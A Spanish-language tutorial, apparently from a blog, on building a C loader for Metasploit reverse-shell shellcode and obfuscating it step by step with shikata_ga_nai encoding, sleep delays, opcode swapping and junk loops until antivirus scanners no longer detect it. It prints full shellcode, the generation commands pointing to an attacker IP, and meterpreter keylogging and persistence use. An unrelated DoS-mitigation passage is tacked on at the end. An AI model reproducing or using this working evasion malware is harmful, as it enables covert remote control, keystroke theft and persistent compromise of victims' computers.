"\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02"
"\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56"
"\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53"
"\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75"
"\xec\xc3";

/*
 * windows/shell/reverse_tcp - 240 bytes (stage 2)
 * http://www.metasploit.com
 */
unsigned char buf[] = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x63\x6d\x64\x00\x89"
"\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44"
"\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5"
"\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb"
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";

(Los contenidos que obtengan ustedes, a nivel de OpCodes, es decir, todos esos caracteres del estilo "\x80\xfb", pueden diferir de los que yo muestro en el artículo, pero el funcionamiento va a ser el mismo).

De todo este código, que son dos etapas (Stage1 y Stage2) únicamente necesitamos la primera, que es la que tiene que tener nuestro archivo porque, la segunda, va a ser enviada desde MSF a la víctima, para terminar de establecer la conexión y darnos acceso shell.

Así que ahora vamos a generar un código C, que va a contener el Stage1, quedando más o menos así:

#include <stdio.h>
#include <windows.h>

unsigned char buf[] =
"\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a"
"\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b"
"\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38"
"\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24"
"\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f"
"\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32"
"\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29"
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40"
"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0"
"\xa8\x01\x29\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56\x57\x68"
"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec"
"\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02"
"\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56"
"\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53"
"\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75"
"\xec\xc3";

int main(int argc, char **argv)
{
    int (*f)();

    f = (int (*)())buf;(int)(*f)();
}

Este código tiene pocas líneas (si quitamos las líneas del shellcode), las voy a explicar:

#include <stdio.h>
#include <windows.h>

Incluyen dos librerías (stdio.h y windows.h). En muchos de los ejemplos el programa real no las va a utilizar, pero fueron dejadas porque en varias de mis pruebas internas las utilicé y también porque el hecho de que un archivo no incluya ninguna librería externa muchas veces es interpretado como "sospechoso" por los programas antimalware, así que no hacen daño para nada.

unsigned char buf[] =

En esta línea d código definimos la variable "buf" que va a ser la encargada de contener nuestro shellcode en las líneas de más abajo. Recuerden que, en C, la finalización de la instrucción se marcan con el caracter de punto y coma (;), por lo que podríamos haber puesto la definición de la variable y la shellcode toda en una única línea, pero se hace así simplemente para que el código sea más legible.

int main(int argc, char **argv)

Típico en todo programa C, aunque podríamos haber utilizado otras variantes, como:

void main()

Pero quedó así porque es lo que pone automáticamente el entorno de desarrollo que utilicé, y quedó así. :)

int (*f)();

f = (int (*)())buf;

(int)(*f)();

Estas tres líneas son muy utilizadas para cargar shellcodes dentro de código C y son algo confusas…

La primera, define que "f" es un puntero a una función (function pointer), que no tiene parámetros (por eso los paréntesis vacíos del final de la línea) y que devuelve un int (por eso el "int" del principio de la línea).

La segunda, hace que "f" apunte a nuestra shellcode, que está definida en la variable "buf". Básicamente, hace una conversión de tipos (type casting), y convierte nuestra shellcode (que estaba almacenada en una variable del tipo char[]) en un puntero a una función que tiene el contenido de la shellcode. En resumen, hace que "f", al ser llamado, ejecute el código de la shellcode.

La tercera, ejecuta la función "f", que contiene nuestra shellcode, y convierte el valor de retorno de la shellcode en un dato del tipo "int".

Una vez hecho esto, podemos compilar nuestro programa y obtener el ejecutable, que yo llamé "sample03.exe".

Antes de ejecutarlo, vamos a tener que preparar MSF para recibir la conexión inversa a nuestro puerto TCP/443, para eso, en msfconsole, vamos a hacer lo siguiente:

use exploit/multi/handler
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.1.41
set LPORT 443
exploit

Obviamente, deberán reemplazar la dirección IP por la que corresponda a su máquina con MSF.

Hecho eso, vamos a obtener una salida como la siguiente:

[*] Started reverse handler on 192.168.1.41:443
[*] Starting the payload handler...

La cual nos indica que MSF está listo para recibir la conexión en el puerto TCP/443

Paso seguido, lo vamos a ejecutar, para comprobar que funciona.

Y deberíamos obtener una shell, con los permisos del usuario que ejecutó el archivo "sample03.exe" desde el sistema Windows.

Pero, lo más importante, vamos a subir el archivo a VirusTotal, para ver cuál es el índice de detección. En mi caso, la detección bajó a 8/55, es decir que, solamente ocho de los 55 antivirus detectaron el archivo como malicioso. Lo cual es una reducción impresionante!

Hasta ahora, bajamos el índice de detección de 35/55 a 8/55, y solamente escribimos un poquito de código C porque, vamos a ser sinceros, el trabajo grande lo hacemos con Metasploit Framework! ;)

Paso 3: msfencode

Aquí llega uno de los grandes salvadores en cuanto a la evasión de antivirus se refiere! Y, junto son msfencode, llega la utilización de su codificador más popular, "shikata_ga_nai".

Para esto, vamos a modificar el comando con el que generamos el código C, y lo vamos a dejar así:

msfpayload windows/shell/reverse_tcp LHOST=192.168.1.41 LPORT=443 R | msfencode -e x86/shikata_ga_nai -t c

Lo que hacemos con esto es, básicamente, generar el payload con msfpayload en formato crudo ("raw", de ahí la "R") y se lo enviamos directamente a msfencode para que haga su trabajo y nos devuelva el código C del payload codificado con shikata_ga_nai.

Esto mismo también lo podríamos haber hecho utilizando un archivo temporal y dos ejecuciones de comandos aisladas, así:

msfpayload windows/shell/reverse_tcp LHOST=192.168.1.41 LPORT=443 R > tmp.raw
msfencode -i tmp.raw -e x86/shikata_ga_nai -t c

Una vez hecho esto, vamos a obtener una salida más o menos así:

[*] x86/shikata_ga_nai succeeded with size 314 (iteration=1)

unsigned char buf[] =
"\xbe\x70\xa7\x5b\x25\xdb\xd4\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x48\x31\x73\x15\x83\xeb\xfc\x03\x73\x11\xe2\x85\x5b\xb3\xa3"
"\x65\xa4\x44\xcc\xec\x41\x75\xde\x8a\x02\x24\xee\xd9\x47\xc5"
"\x85\x8f\x73\x5e\xeb\x07\x73\xd7\x46\x71\xba\xe8\x66\xbd\x10"
"\x2a\xe8\x41\x6b\x7f\xca\x78\xa4\x72\x0b\xbd\xd9\x7d\x59\x16"
"\x95\x2c\x4e\x13\xeb\xec\xe5\x6f\xfc\x74\x19\x25\xfd\x55\x8c"
"\x32\xa4\x75\x2e\x97\xdc\x3f\x28\xf4\xdf\xf6\xc3\xce\x94\x08"
"\x02\x1f\x54\x3b\x6a\xf3\x6b\xf3\x67\x0a\xab\x34\x98\x79\xc7"
"\x46\x25\x79\x1c\x34\xf1\x0c\x81\x9e\x72\xb6\x61\x1e\x56\x20"
"\xe1\x2c\x13\x27\xad\x30\xa2\xe4\xc5\x4d\x2f\x0b\x0a\xc4\x6b"
"\x2f\x8e\x8c\x28\x4e\x97\x68\x9e\x6f\xc7\xd5\x7f\xd5\x83\xf4"
"\x94\x60\xce\x90\x59\x40\xf1\x60\xf6\xd3\x82\x52\x59\x4f\x0d"
"\xdf\x12\x49\xca\x20\x09\x2d\x44\xdf\xb2\x4d\x4c\x24\xe6\x1d"
"\xe6\x8d\x87\xf6\xf6\x32\x52\x58\xa7\x9c\x0d\x18\x17\x5d\xfe"
"\xf0\x7d\x52\x21\xe0\x7d\xb8\x4a\x8a\x84\x2b\xb5\xe2\x86\x82"
"\x5d\xf0\x88\xd5\x26\x7d\x6e\xbf\x48\x2b\x38\x28\xf0\x76\xb2"
"\xc9\xfd\xad\xbe\xca\x76\x41\x3e\x84\x7e\x2c\x2c\x71\x8f\x7b"
"\x0e\xd4\x90\x56\x25\xd9\x04\x5c\xec\x8e\xb0\x5e\xc9\xf9\x1e"
"\xa1\x3c\x72\x96\x37\xff\xed\xd7\xd7\xff\xed\x81\xbd\xff\x85"
"\x75\xe5\x53\xb3\x79\x30\xc0\x68\xec\xba\xb1\xdd\xa7\xd2\x3f"
"\x3b\x8f\x7d\xbf\x6e\x11\x42\x16\x57\x97\xb2\x1c\xbb\x5b";

Nótese que ahora no tememos Stage1 y Stage2, simplemente tenemos el código que debemos utilizar en nuestro programa C.

No voy a pegar el código del programa, porque es exactamente igual al código C anterior, solamente que reemplazamos la parte en la que definimos la shellcode y le ponemos el contenido que nos acaba de arrojar msfencode.

Para mi sorpresa, el resultado de VirusTotal volvió a ser 8/55, es decir, que el íncide de detección no cambió en nada. Lo cual, simplemente quiere decir que debemos seguir trabajando un poco más.

(Tengamos en cuenta que ese archivo que acabamos de generar, yo lo llamé "sample04.exe" y lo aclaro porque vamos a generar unos cuantos archivos más, y quiero conservar el hilo del nombre que le pongo a cada ejecutable).

Paso 4: Yéndonos a Dormir

Nosotros no! El programa es el que se tiene que ir a dormir. ¿Para qué? La verdad, es que no sé bien de qué serviría que un programa espere una N cantidad de segundos antes de tomar cualquier acción pero, parece que algunos antivirus le prestan "atención" a esto.

Para hacer que el programa espere 60 segundos antes de continuar ejecutando sus siguientes instrucciones, vamos a agregar la siguiente línea de código:

Sleep(60000);

La función "Sleep" está definida en la librería "windows.h", asi que ahora estamos necesitando esa librería, no la quiten!

El código del programa nos quedaría así:

int main(int argc, char **argv)
{
    Sleep(60000);

    int (*f)();

    f = (int (*)())buf;

    (int)(*f)();
}

(Recuerden que arriba de este código tiene que estar la línea que define la variable "buf" y le pone el contenido de nuestra shellcode, solo que acá no lo pego porque sería extender el contenido del post de forma innecesaria).

Una vez hecho esto, y compilado el programa, que llamé "sample05.exe", lo subí a VirusTotal. Pude ver que el índice de detección bajó a 5/55, es decir, que ya quitamos a otros tres de la lista!

Como esto lo había hecho, en mi caso, con el código shellcode sin codificar, luego compilé un "sample06.exe" que contenía el shellcode codificado con msfencode+shikata_ga_nai, obteniendo un índice de detección de 4/55. Vamos mejorando…

Pero, aún queda trabajo por hacer.

Paso 5: On-The-Fly Mod

Algo que se me ocurrió para bajar un poco más el índice de detección (y seguramente no fui el primero en tener esta idea) es modificar el código shellcode durante la ejecución del programa. Esto lo hago porque, tal vez, alguno de los antivirus intenta interpretar los datos que están almacenados en el programa, sin que esté se está ejecutando. Es decir, si guardo la shellcode como me la dan msfpayload o msfencode, tal vez alcance con leer el contenido del archivo para ver que hay "algo raro".

Si bien es cierto que, justamente, la tarea de msfencode es la de "ofuscar" el código, para que no sea tan detectable, tal vez no venga mal agregar alguna que otra técnica "quick-n-dirty" (rápida y sucia).

Para esto, lo que voy a hacer es pedirle a msfencode que evite la inclusión de ciertos OpCodes particulares. Una vez hecho esto, voy a sustituir algunos OpCodes que sí están incluidos en la shellcode, por esos otros que sé que no van a estar, y luego voy a revertir ese proceso en tiempo de ejecución.

Parece complicado, pero tal vez sea falencia del que explica la técnica… :p

Vamos al código y después a re-explicarlo. Primero, generamos el payload y lo codificamos, indicando que queremos evidar los opcodes "\x15", "\x25", "\x35", y "x65".

msfpayload windows/shell/reverse_tcp LHOST=192.168.1.41 LPORT=443 R | msfencode -e x86/shikata_ga_nai -b ‘\x15\x25\x35\x65’ -c 13 -t c

(En este caso modifiqué el comando msfencode con el parámetro "-c 13" para que la codificación se realice 13 veces en lugar de una)

El resultado obtenido lo podemos almacenar en un archivo o procesar directamente con una tubería. Lo importante es realizar el reemplazo de caracteres con el comando "sed", como se va a mostrar a continuación.

sed s/'10'/'15'/g | sed s/'20'/'25'/g | sed s/'30'/'35'/g | sed s/'60'/'65'/g

O sea, que se conectamos todos los comandos con tuberías, nos quedarían así:

msfpayload windows/shell/reverse_tcp LHOST=192.168.1.41 LPORT=443 R | msfencode -e x86/shikata_ga_nai -b '\x15\x25\x35\x65' -c 13 -t c | sed s/'10'/'15'/g | sed s/'20'/'25'/g | sed s/'30'/'35'/g | sed s/'60'/'65'/g

La salida de ese archivo va a tener los reemplazos realizados de la siguiente manera:

"\x10" -> "\x15"

"\x20" -> "\x25"

"\x30" -> "\x35"

"\x60" -> "\x65"

En resumidas cuentas… acabamos de romper la shellcode, porque esto, así, no funciona. Claro, modificamos OpCodes, intercambiandolos de una forma que no tiene mucha lógica. Pero ahora vamos a modificar también nuestro código C, para que se encargue de volver el proceso atrás cada vez que sea ejecutado. Lo importante es que, ahora, donde definimos la variable "buf", pongamos el contenido del shellcode modificado. Y, el resto del código, va a quedar como sigue:

int main(int argc, char **argv)
{
    Sleep(60000);

    int x;
    int len;

    len = sizeof(buf);

    for(x=0; x<len; x++)
    {
        if (buf[x] == 0x15) { buf[x] = 0x10; }
        if (buf[x] == 0x25) { buf[x] = 0x20; }
        if (buf[x] == 0x35) { buf[x] = 0x30; }
        if (buf[x] == 0x65) { buf[x] = 0x60; }
    }

    int (*f)();

    f = (int (*)())buf;

    (int)(*f)();
}

Como podemos observar, se agregaron algunas líneas que lo que hacen es recorrer la variable "buf", donde se encuentra almacenado el shellcode, y realizar la inversa de las modificaciones que habíamos hecho antes. Por lo tanto, cuando el shellcode sea ejecutado, va a funcionar bien, porque va a estar igual que el original, producido por msfencode.

Voy a explicar brevemente el funcionamiento de cada línea:

len = sizeof(buf);

Hace que el contenido de la variable "len" sea la cantidad de valores hexadecimales almacenados en la variables "buf", o sea, la cantidad de OpCodes.

for(x=0; x<len; x++)>)

Forma un bucle que cada vez que se ejecuta incrementa el valor de la variable "x" (que empieza valiendo cero). Este bucle termina cuando el valor de x deja de ser menor que el valor de la variable "len", es decir, cuando la cantidad de iteraciones ha igualado a la cantidad de opcodes que tenemos en nuestra shellcode.

if (buf[x] == 0x15) { buf[x] = 0x10; }
if (buf[x] == 0x25) { buf[x] = 0x20; }
if (buf[x] == 0x35) { buf[x] = 0x30; }
if (buf[x] == 0x65) { buf[x] = 0x60; }

En cada una de las iteraciones del bucle, tomamos el valor de la variable "x" como referencia de un valor hexadecimal del shellcode (cuando x valga 0, tomamos el primer valor del shellcode, cuando "x" valga 5 tomamos el cuarto valor de la shellcode, y así hasta recorrer todos los valores).

Para cada iteración preguntamos si el valor del shellcode en el que nos encontramos concuerda con uno de los valores que habíamos reemplazado al generar el shellcode y modificarlo con el comando "sed". Si es así, lo reemplazamos por su valor original.

En resumen, el shellcode que se encuentra almacenado en el archivo no es válido, pero se vuelve válido cuando el programa se ejecuta.

NOTA: Esta técnica de ofuscación es casi demasiado simple para lo que estamos acostumbrados actualmente. No se intenta decir que sea algo novedoso ni nada por el estilo. Simplemente, es una técnica más que se agrega a todo lo que estamos haciendo para evitar la detección de los antivirus.

Después de hacer todo esto, y compilar el código, obteniendo el archivo "sample07.exe", pude ver que, en VirusTotal, el índice de detección bajó a 3/55… seguimos acercándonos.

Paso 6: Agregando Código Basura

En la gran mayoría de los casos, el código basura (código que no hace nada realmente útil) no sirve para nada. En nuestro caso, vamos a intentar de que nos sirva para algo.

Lo que vamos a hacer a continuación es agregar código basura a nuestro programa, para intentar confundir la detección antivirus.

Para esto, las líneas de código que voy a agregar son las siguientes:

for(x=0; x<5000000; x++)
{
    junk = rand() % 10;
    malloc(10 * sizeof(int));
}

Lo único que hacen estas líneas es producir 5 millones de iteraciones y, en cada iteración, se ejecutan las líneas que vemos dentro del bucle. Verdaderamente, son dos líneas de código que elejí casi al hazar, están simplemente para que el programa "haga cosas".

Esas líneas, en mi caso, las coloqué en dos lugares del programa.

Ahora voy a terminar de copiar el programa completo, con el shellcode y absolutamente todas las líneas necesarias para que funcione:

#include <stdio.h>
#include <windows.h>

unsigned char buf[] =
"\xb8\xd1\xc4\x52\xa7\xda\xc6\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
"\x99\x83\xc2\x04\x31\x42\x11\x03\x42\x11\xe2\x24\x1d\x92\x7e"
"\xb2\xba\xe7\x39\x2c\xfc\x5d\x94\x0e\x2b\xab\x59\x3d\x1a\x6d"
"\x8d\xc2\x9b\x75\xb2\x94\x0f\xce\xef\x92\xc6\xcb\xc0\x88\x05"
"\x5e\x42\xb4\x73\x34\xdd\x6b\xf6\x9f\x0c\x8d\x2f\x8c\x47\x22"
"\x11\xd3\x9e\x29\x33\x25\x73\xe7\x47\x56\x5d\x33\x2e\x37\x27"
"\x49\xa0\x44\x46\xa8\x94\x8e\x62\xf3\xfe\x63\xf4\x14\x33\x4b"
"\x04\x15\x39\xc3\xce\x03\xd0\x61\xa3\x13\x73\x24\x2a\x02\x8c"
"\xef\x11\x0f\x61\x68\xa5\x41\x4a\xa3\x3b\x26\xce\xd6\xb4\x6c"
"\x97\xc0\x3c\xa7\xad\x11\x71\xc4\x1e\x7e\xfb\xd8\x69\xc9\xec"
"\xaa\x1f\xe6\x1f\x98\xc1\x24\x5a\x7f\xba\x26\x1e\xbc\x45\x6b"
"\x38\x33\xb0\x40\x68\xe4\xbe\x7a\x4d\x1b\x3a\x37\xd7\x6d\xa2"
"\x0e\xae\x81\xcf\xa4\x37\x97\x14\x1d\xad\x4e\xb5\x50\xe7\x36"
"\x59\xe6\xc9\x36\x24\x00\x95\xa5\x57\x5c\xfb\xbe\xee\xad\x4b"
"\x89\x35\xbc\x67\x5a\x73\xb4\xac\xc2\x3e\x7e\x70\xac\x77\xce"
"\x84\x92\x13\x68\x70\xbd\xdd\xa1\x96\xa5\x32\x86\x32\xf7\x9b"
"\xc0\x1a\xe7\x26\x14\x46\x2c\x35\x9f\x1c\xcb\x6c\x97\x40\xb8"
"\xfa\x08\x81\x04\x70\x91\x23\xe4\xdb\xff\xc6\x75\x21\x4f\xbf"
"\x3c\x48\x86\x9f\xff\xd7\xaf\x07\xaf\x51\x5f\xce\xd6\xe5\xa0"
"\x5a\xd4\x35\x25\xd6\x48\x8d\xb8\x06\xee\x8e\xe9\xbc\x0d\x70"
"\x3b\xb9\x94\xd1\x7a\x7c\xfe\x26\x36\x83\x3b\xcc\xec\x73\x59"
"\x74\x58\x7e\x2b\x58\xfc\x5f\x2a\xae\x9e\x63\xe5\xfc\x17\x3e"
"\x12\xef\xe6\x98\xa5\x1d\xdf\xb4\xc7\x5a\xaa\xf3\xea\x49\x73"
"\x97\xa5\x1a\xb3\x84\x7f\x66\xce\x6e\xd0\xe7\x39\x24\x98\xbc"
"\x16\x99\x2e\xf2\x9b\xfd\x22\x6a\xd9\x1c\x74\x5d\xb8\xc0\x0c"
"\x9d\x31\x84\xc8\x2e\x56\x4d\x3b\xe0\x4d\x36\xbc\x93\xf2\xc4"
"\xc6\x9d\xad\xcb\xe0\xab\xb7\x37\x5e\x79\x9b\x92\xed\x58\xa4"
"\x41\x13\x36\xda\x0c\x6d\x4a\x1d\xf1\xdd\x8d\xbf\xe7\xde\x7f"
"\x6f\x97\xe3\xad\x57\x12\x21\x78\x74\x92\xdd\x2e\x61\x66\xec"
"\x3b\xaa\x86\x46\xcf\x0e\x86\x4f\x14\xb1\x3b\xa9\xdf\xa9\x3f"
"\xf5\xf5\xc5\x6f\xf4\x94\x08\xf4\xe5\xf8\x01\x24\xae\x44\x8c"
"\xd6\xcd\x2a\x96\x27\x24\x35\x24\x18\xcc\x1a\x7b\xb4\x2e\xb6"
"\xf9\xa6\x4d\xfa\x94\x2d\x0d\x93\x69\xf1\xda\x08\x3f\xfe\xc3"
"\xe0\x11\xba\xa0\x87\x17\x16\xd8\xf8\xaf\x50\x48\x9c\x84\x26"
"\xca\x94\x87\x33\x61\x52\x75\x54\xb2\x69\x3f\x00\x2c\x47\xcc"
"\xf5\xad\x5c\xbe\xb6\x50\xbe\x52\x90\xa5\x8d\x53\x3e\xd6\x7c"
"\xcc\x13\x44\x19\x07\xc4\x6b\x23\xc1\x1d\x45\xc1\x5e\x6b\xf1"
"\x48\xcc\x18\xee\x01\x78\xdb\x66\xde\x3b\xa8\x77\xc7\xc4\x35"
"\x04\x12\x87\x7a\x63\x69\xc6\xc1\x3a\xcc\xb4\x19\x8d\xcd\x1e"
"\xfd\xff\x68\x28\x7f\x77\xa0\xc6\x87\xa0\xc9\x22\xa7\x4a\x3f"
"\x2e\xa9\xf3\x7b\x4f\x76\x21\x4b\xa9\x03\x53\xa2\xef\xfe\xa8"
"\x79\x4a\x4d\x78\xd4\x72\x90\x09\x56\xab\xa0\xf4\x49\x39\xf1"
"\x2f\x29\xe1\xd1\x52\x93\xa8\x52";

int main(int argc, char **argv)
{
    Sleep(60000);

    int x;
    int len;
    int junk;

    len = sizeof(buf);

    for(x=0; x<5000000; x++)
    {
        junk = rand() % 10;
        malloc(10 * sizeof(int));
    }

    for(x=0; x<len; x++)
    {
    if (buf[x] == 0x15) { buf[x] = 0x10; }
    if (buf[x] == 0x25) { buf[x] = 0x20; }
    if (buf[x] == 0x35) { buf[x] = 0x30; }
    if (buf[x] == 0x65) { buf[x] = 0x60; }
    }

    int (*f)();

    f = (int (*)())buf;(int)(*f)();

    for(x=0; x<5000000; x++)
    {
        junk = rand() % 10;
        malloc(10 * sizeof(int));
    }
}

Una vez compilado el programa, ya tenemos lo que yo llamé "sample08.exe". Ahora, sólo queda subirlo a VirusTotal…

Paso 7: El momento de la verdad (i)

Excelente! Ninguno de los antivirus de VirusTotal detecta nuestro archivo como malicioso. Peeeeero… siempre tenemos que volver a probar que nuestro ejecutable funcione, sobre todo porque, de tanto tocar código, lo podemos romper. Hacemos la prueba con MSF y vemos lo siguiente:

El archivo funciona (tenemos shell en el sistema remoto) y no es detectado en el sistema remoto! :)

Paso 8: De CMD a Meterpreter

Para ir un poco más allá, me interesó la idea de cambiar el payload shell/reverse_tcp por el de meterpreter/reverse_tcp (porque meterpreter es mucho mas divertido que shell)

Asi que generé el payload con msfpayload (el cambio de cantidad de codificaciones de 13 a 3 fue para que terminara exitosamente el msfencode)

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.41 LPORT=443 R | msfencode -e x86/shikata_ga_nai -b '\x15\x25\x35\x65' -c 3 -t c | sed s/'10'/'15'/g | sed s/'20'/'25'/g | sed s/'30'/'35'/g | sed s/'60'/'65'/g

NOTA: Dependiendo de varias cosas, las codificaciones pueden fallar, es por eso que modifiqué la cantidad de codificaciones de 13 a 3. También tienen mucho que ver los OpCodes que decidimos evitar porque, a veces, msfencode no encuentra forma de evitar varios OpCodes cuando los ponemos todos juntos, por eso es que también se elijieron los OpCodes que se elijieron.

Una vez modificado el archivo, para terminar generando el ejecutable "sample09.exe", lo subí a VirusTotal y pude ver lo siguiente:

Ahora vamos a hacer la prueba, ejecutando el archivo en nuestro sistema y viendo si podemos obtener shell de meterpreter…

Paso 9: El momento de la verdad (ii)

Ya probamos que nuestro archivo no es detectado por ninguno de los motores provistos por VirusTotal. Ahora, debemos verificar lo que se explicó al principio del artículo, y ver qué tan idénticos son los resultados del análisis en línea comparados con los resultados en una PC con la solución antivirus instalada.

Para esta prueba, se crearon tres máquinas virtuales y a cada una de ellas se les instaló un antivirus diferente: Avast, Avira y AVG. En todos los casos, utilizando sus versiones gratuitas.

Y, en todos los casos, se les dió a las soluciones antimalware la capacidad de analizar el archivo de forma específica (pidiendo que se analice directamente el archivo sample09.exe). Además, se ejecutó el archivo sample09.exe y se verificó que se realizara la conexión con msfconsolo a través de meterpreter.

Adicionalmente, se utilizó el comando "keyscan_start", para que meterpreter instale el keylogger en el sistema, y se capturaron las teclas que presionó el usario.

Luego, se ejecutó el comando "run persistence"

Todo esto se hizo para dar la posibilidad a las soluciones antimalware de detectar, tarde o temprano, la amenaza.

Como resultado, Avast fue el mejor, detectando como malware el archivo apenas intentó ser copiado al sistema

Avira y AVG detectaron únicamente el comando "run persistence", que instaló un archivo .vbs el cual fue descubierto como "sospechoso", pero ya habíamos entrado al sistema y podíamos ejecutar comandos. No pudieron darse cuenta del keylogger (keyscan_start). Lo cual es algo preocupante, porque es una detección tardía y depende de que se ejecute ese comando particular.

Esto no quiere decir que Avast sea mejor que AVG y Avira, porque se trata de una prueba aislada y muy particular. Lo que sí es interesante remarcar es que los resultados de VirusTotal no siempre son tan exactos. Si Avast pudo detectar el archivo como malicioso estando instalado en la estación de trabajo, pero no lo hizo desde VirusTotal, esto podría significar que muchas de las otras soluciones AntiMalware también detectarían el archivo si estuvieran instaladas en una PC. Por otro lado, como siempre digo, VirusTotal es una excelente herramienta para hacer un análisis estadístico de que tan "detectable" es un malware.

Abajo podemos ver las imágenes con los resultados:

Palabras Finales

Debemos recordar que estas técnicas deben ser utilizadas únicamente con fines investigativos. VirusTotal comparte todos los archivos que les son enviados con los laboratorios antivirus, por lo que es probable que los índices de detección empiecen a subir.

Espero que así sea y que las soluciones antimalware sigan evolucionando, para protegernos cada vez mejor. De todos modos, siempre tenemos que tener en cuenta que las soluciones antimalware no pueden ser nuestra única medida de defensa. Por sobre todas las cosas, debemos protegernos navegando por internet de forma prudente, manteniendo nuestros sistemas actualizados, y todas esas consideraciones de seguridad tan populares que tantas veces se dejan de lado.

En esta parte, analizaremos tres técnicas que podemos utilizar para mitigar los ataque de Denegación de Servicio (DoS) y Denegación de Servicio Distribuída (DDoS).

Características de los DoS y DDoS

Ambos tipos de ataque (DoS y DDoS) suelen causar muchos problemas a las infraestructuras informáticas actuales, debido a que son relativamente sencillos de lanzar y pueden causar que las aplicaciones dejen de responder o lo hagan de una forma realmente lenta.

Para realizar estos ataques, lo más habitual es que se realicen una cantidad enorme de peticiones a la aplicación al mismo tiempo desde uno (DoS) o varios equips (DDoS).

Por su naturaleza distribuída, los ataques DDoS son más difíciles de bloquear, porque el ataque viene desde varios frentes, aunque las IP que realizan el ataque suelen ser bastante evidentes y, con las herramientas adecuadas, se las puede bloquear.

Abajo podemos ver un pequeño gráfico que compara los ataques DoS con los ataques DDoS:

Recursos de Red

En el caso de los ataques que consumen todos los recursos de red de una aplicación, no suele ser redituable realizar el filtrado a nivel de servidor, porque, cuando el tráfico llega al servidor, ya ha ocupado los recursos de red. En esta situación, el filtrado de las peticiones simplemente aliviana el tráfico que saldría del servidor en el caso de que las peticiones no fueran bloqueadas, pero el tráfico entrante sigue siendo consumido.

Para estos casos, la única protección posible queda en manos de los proveedores de internet (ISP) que deberían tener tecnologías para proteger a sus clientes de este tipo de ataques (aunque la mayoría no cuentan con estas tecnologías)

Recursos de Hardware

Los ataques que consumen los recursos de hardware pueden tener diferentes métodos de funcionamiento. Generalmente, pueden abusar de lo siguiente:

Una aplicación mal programada: En este caso, el atacante podría abusar de ciertas deficiencias de la aplicación, que la harían consumir una cantidad excesiva de recursos. Para esto, la única solución es revisar el código fuente de la aplicación y optimizarlo.

Una tarea que consume mucha capacidad de cómputo: Las tareas de la aplicación que consuman mucha capacidad de cómputo, deberían ser preferentemente cacheadas y accesibles únicamente por usuarios autenticados. Pero esto va a depender del propósito de la aplicación.

Un fallo en el software de servidor: Ciertos ataques DoS pueden ser completados enviando únicamente una petición especialmente manipulada, que el servidor no puede interpretar correctamente. Para esto, debemos mantener siempre nuestros componentes de software actualizados. En estos casos, un Web Application Firewall también puede ayudarnos, bloqueando las peticiones "raras".

